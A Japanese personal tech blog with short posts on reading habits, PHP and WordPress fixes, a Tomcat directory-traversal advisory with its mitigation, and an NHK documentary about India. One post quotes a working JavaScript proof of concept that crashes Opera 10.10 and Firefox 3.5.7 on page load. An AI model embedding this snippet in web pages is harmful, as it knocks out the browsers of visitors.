ブログやニュースを読む時間を無駄にしないたった一つの事
そのブログやニュースの要約を、他人に話すことを想像(前提に)しながら読む
Opera- v10.10, Firefox v3.5.7 Remote Denial of Service
以下のコードで、Opera- v10.10とFirefox v3.5.7が落ちるみたい。
<body onload="javascript:DOS();"></body> <script> function DOS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script>
Windows XP Firefox 3.5.7 で開くと見事に落ちました。
Breadcrumb Navigation XTのposttitle_maxlenオプションの注意点
Wordpressでパンくずリストを表示させる際に便利なプラグインが、Breadcrumb Navigation XTです。
記事のタイトルが長すぎたときにデザインがくずれるので、
posttitle_maxlenというオプションで文字数を指定してやるのですが、
例:
<?php $mybreadcrumb = new breadcrumb_navigation_xt; $mybreadcrumb->opt['posttitle_maxlen'] = 80; ?>
日本語タイトルをこのオプションで切り取ると、文字化けしてしまいます。
それの解決法です。
wp-content/plugins/breadcrumb-navigation-xt/breadcrumb-navigation-xt.php
を開いて、
<?php if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) ) $bcn_post_title = substr($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...'; ?>
の部分を
<?php if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) ) $bcn_post_title = mb_strimwidth($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...'; ?>
と書き直すことで(マルチバイト文字列関数 (mbstring)がインストールされていれば)解決します。
...とここまでやって気づいたのですが、
Breadcrumb Navigation XTの日本語版があったようですね。
ただ、日本語版でも同じオプションがあるのですが、
やはり文字化けしてしまいました。
作者の方、直してくれないですかねぇ・・・?
Fatal error: [] operator not supported for strings の対処方法
<?php foreach($results as $key => $row) { $post_type[] = $row->post_type; $post_parent[] = $row->post_parent; } ?>
こんな感じで配列にプッシュしていくコードを書いていると、
上記のエラーが出る場合があるが、
変数を配列として初期化することで解決する
<?php $post_type = array(); $post_parent = array(); foreach($results as $key => $row) { $post_type[] = $row->post_type; $post_parent[] = $row->post_parent; } ?>
Apache Tomcat にディレクトリトラバーサルの脆弱性
影響を受けるバージョン
- Apache Software Foundation Tomcat 6.0.16
- Apache Software Foundation Tomcat 6.0.15
- Apache Software Foundation Tomcat 6.0.14
- Apache Software Foundation Tomcat 6.0.13
- Apache Software Foundation Tomcat 6.0.12
- Apache Software Foundation Tomcat 6.0.11
- Apache Software Foundation Tomcat 6.0.10
- Apache Software Foundation Tomcat 6.0.9
- Apache Software Foundation Tomcat 6.0.8
- Apache Software Foundation Tomcat 6.0.7
- Apache Software Foundation Tomcat 6.0.6
- Apache Software Foundation Tomcat 6.0.5
- Apache Software Foundation Tomcat 6.0.4
- Apache Software Foundation Tomcat 6.0.3
- Apache Software Foundation Tomcat 6.0.2
- Apache Software Foundation Tomcat 6.0.1
- Apache Software Foundation Tomcat 6.0
- Apache Software Foundation Tomcat 5.5.26
- Apache Software Foundation Tomcat 5.5.25
- Apache Software Foundation Tomcat 5.5.24
- Apache Software Foundation Tomcat 5.5.23
- Apache Software Foundation Tomcat 5.5.22
- Apache Software Foundation Tomcat 5.5.21
- Apache Software Foundation Tomcat 5.5.20
- Apache Software Foundation Tomcat 5.5.19
- Apache Software Foundation Tomcat 5.5.18
- Apache Software Foundation Tomcat 5.5.17
- Apache Software Foundation Tomcat 5.5.16
- Apache Software Foundation Tomcat 5.5.15
- Apache Software Foundation Tomcat 5.5.14
- Apache Software Foundation Tomcat 5.5.13
- Apache Software Foundation Tomcat 5.5.12
- Apache Software Foundation Tomcat 5.5.11
- Apache Software Foundation Tomcat 5.5.10
- Apache Software Foundation Tomcat 5.5.9
- Apache Software Foundation Tomcat 5.5.8
- Apache Software Foundation Tomcat 5.5.7
- Apache Software Foundation Tomcat 5.5.6
- Apache Software Foundation Tomcat 5.5.5
- Apache Software Foundation Tomcat 5.5.4
- Apache Software Foundation Tomcat 5.5.3
- Apache Software Foundation Tomcat 5.5.2
- Apache Software Foundation Tomcat 5.5.1
- Apache Software Foundation Tomcat 5.5
- Apache Software Foundation Tomcat 4.1.37
- Apache Software Foundation Tomcat 4.1.36
- Apache Software Foundation Tomcat 4.1.36
- Apache Software Foundation Tomcat 4.1.34
- Apache Software Foundation Tomcat 4.1.34
- Gentoo Linux 1.4 _rc3
- Gentoo Linux 1.4 _rc2
- Gentoo Linux 1.4 _rc1
- Gentoo Linux 1.2
- Apache Software Foundation Tomcat 4.1.32
- Apache Software Foundation Tomcat 4.1.31
- Apache Software Foundation Tomcat 4.1.30
- Apache Software Foundation Tomcat 4.1.29
- Apache Software Foundation Tomcat 4.1.28
- Apache Software Foundation Tomcat 4.1.24
- Gentoo Linux 1.4 _rc3
- Gentoo Linux 1.4 _rc2
- Gentoo Linux 1.4 _rc1
- Gentoo Linux 1.2
- Apache Software Foundation Tomcat 4.1.12
- Apache Software Foundation Tomcat 4.1.10
- Apache Software Foundation Tomcat 4.1.9 beta
- Apache Software Foundation Tomcat 4.1.3 beta
- Apache Software Foundation Tomcat 4.1.3
- Apache Software Foundation Tomcat 4.1
影響を受けないバージョン
対策方法
Tomcat をアップグレードするか、allowLinking 属性を無効にし、URIEncoding を UTF8 にしない。
今さらながら、インドが凄い件について
NHKスペシャル「インドの衝撃」
これは結構刺激になる。
http://video.google.com/videoplay?docid=-8960593568071128585
インド人のハングリーさはすごい
インド人みたいに、多くの人が「金持ちになってやる」というハングリー精神をもって、
それを国が支えるような仕組みになっていれば、こういう風に発展していくんだろうか。
なんだかんだ言って日本に住んでいれば、インド人のように強い志を持っていなくてもある程度の暮らしはできるわけで。
「貧乏だから頭脳で勝負」
IT業界はPCひとつと回線さえあれば、世界へ挑戦できる。
インド人に負けないように勉強をしなければ、と刺激を受けた。